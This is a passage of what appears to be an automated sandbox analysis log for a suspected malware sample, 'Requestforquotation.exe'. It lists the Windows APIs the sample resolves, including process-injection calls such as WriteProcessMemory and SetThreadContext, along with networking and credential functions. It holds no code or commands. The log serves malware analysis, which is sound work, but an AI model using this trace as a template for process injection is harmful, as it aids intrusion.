00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarBstrCmp (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CLSIDFromProgIDEx (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetTextFaceAliasW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdiIsMetaPrintDC (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter InternetCrackUrlW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter InternetCreateUrlW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarFormatNumber (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarFormatPercent (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarFormatCurrency (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarWeekdayName (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarMonthName (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarCat (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarEqv (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarImp (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarPow (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarAbs (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarFix (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VarInt (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SxsOleAut32MapIIDOrCLSIDToTypeLibrary (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter MonitorFromWindow (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter MonitorFromRect (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter MonitorFromPoint (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetMonitorInfoA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetLayout (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GdiRealizationInfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter FontIsLinked (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetFontAssocStatus (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SHGetSpecialFolderLocation (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SHGetPathFromIDListA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SxsOleAut32RedirectTypeLibrary (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegQueryValueW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SxsOleAut32MapConfiguredClsidToReferenceClsid (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoInternetCreateZoneManager (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter ObjectStublessClient10 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RtlMoveMemory (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CertControlStore (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter HTTPSCertificateTrust (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter HTTPSFinalProv (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SoftpubInitialize (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SoftpubLoadMessage (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SoftpubLoadSignature (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter BCryptOpenAlgorithmProvider (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetHashInterface (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter BCryptGetProperty (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter BCryptCreateHash (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter BCryptHashData (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter I_CryptNetGetConnectivity (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter IsNetworkAlive (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter NsiAllocateAndGetTable (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CM_Open_Class_Key_ExW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpTimeFromSystemTime (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegDeleteTreeA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegDeleteTreeW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpSendRequest (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpReceiveResponse (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpQueryHeaders (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter StrStrIW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpQueryDataAvailable (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpReadData (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter QueryServiceConfigA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter ChangeServiceConfigA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CloseServiceHandle (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter QueryServiceStatus (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RpcEpResolveBinding (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RpcStringFreeA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter NdrClientCall2 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter BCryptDestroyHash (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter BCryptFinishHash (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptGetKeyParam (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetAsymmetricEncryptionInterface (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter BCryptImportKeyPair (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter BCryptVerifySignature (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter BCryptDestroyKey (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptVerifySignatureA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RtlConvertSidToUnicodeString (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter NlsGetCacheUpdateCount (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCalendarInfoW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter StrRChrA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpCrackUrl (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter StrCmpNW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpCreateUrl (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetProductInfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RpcBindingSetOption (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSAStringToAddressW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHEnumProtocols (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHGetProviderGuid (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHGetWSAProtocolInfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHGetWinsockMapping (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter UrlCanonicalizeW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter IEDllLoader (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoInternetGetSession (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CopyBindInfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateURLMoniker (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegisterBindStatusCallback (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter ReleaseBindInfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RevokeBindStatusCallback (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter UrlMkGetSessionOption (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CreateUri (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoInternetCombineUrl (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoInternetGetSecurityUrl (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter IsValidURL (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter IUnknown_QueryService (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetUserProfileDirectoryW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter InitializeSecurityContextA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SslOpenProvider (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SslIncrementProviderReferenceCount (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SslImportKey (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter GetCipherInterface (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter QueryContextAttributesA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SoftpubCheckCert (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SoftpubCleanup (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SslLookupCipherSuiteInfo (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter UnsealMessage (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SslDecryptPacket (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CryptRetrieveObjectByUrlW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter UrlGetPartW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpSetOption (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpConnect (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpOpenRequest (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpGetDefaultProxyConfiguration (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter NsiFreeTable (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter OpenServiceW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter StartServiceW (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter CertDllVerifyRevocation (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SslDecrementProviderReferenceCount (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SslFreeObject (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SslLookupCipherLengths (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SealMessage (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter SslEncryptPacket (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003916) "Requestforquotation.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003916) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00003428) "AppLaunch.exe" called "GetProcAddress" with a 